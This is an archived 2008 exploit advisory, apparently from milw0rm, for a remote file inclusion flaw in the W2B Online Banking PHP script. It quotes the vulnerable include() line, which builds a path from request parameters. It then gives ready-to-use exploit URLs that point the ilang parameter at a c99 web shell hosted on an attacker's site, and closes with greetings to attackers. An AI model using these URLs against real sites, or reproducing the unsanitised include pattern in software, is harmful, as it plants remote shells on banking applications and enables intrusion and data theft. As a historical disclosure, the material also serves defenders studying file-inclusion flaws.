OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
remote file include

win32.exew.cn
Date: Tue Apr 15 2008 - 13:42:27 CDT

#########################################################################
        W2B Online Banking Remote File Inclusion Vulnerability
#########################################################################

## AUTHOR: THuM4N
## Email : Win32.exew.cn

## Script : W2B Online Banking

## Site : http://www.w2b.ru

## Vulnerable CODE :
~~~~~~~~~~/index.php ~~~~~~~~~~~~~~~~~~~~~~
{
    include($_SESSION["ilang"]."/".$_REQUEST["page"].".htm");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

## EXPLOIT :
http://[HOST]/[Path]/index.php?ilang=http://yoursite.com/c99.txt?
 
 or

http://[HOST]/?ilang=http://yoursite.com/c99.txt?

## SPECIAL GREETZ : 2 All MUSLIM HACKERS.
## AND BIGUP 2 All Attackers Around The World .

#########################################################################
      W2B Online Banking Remote File Inclusion Vulnerability
#########################################################################

# milw0rm.com [2008-04-15]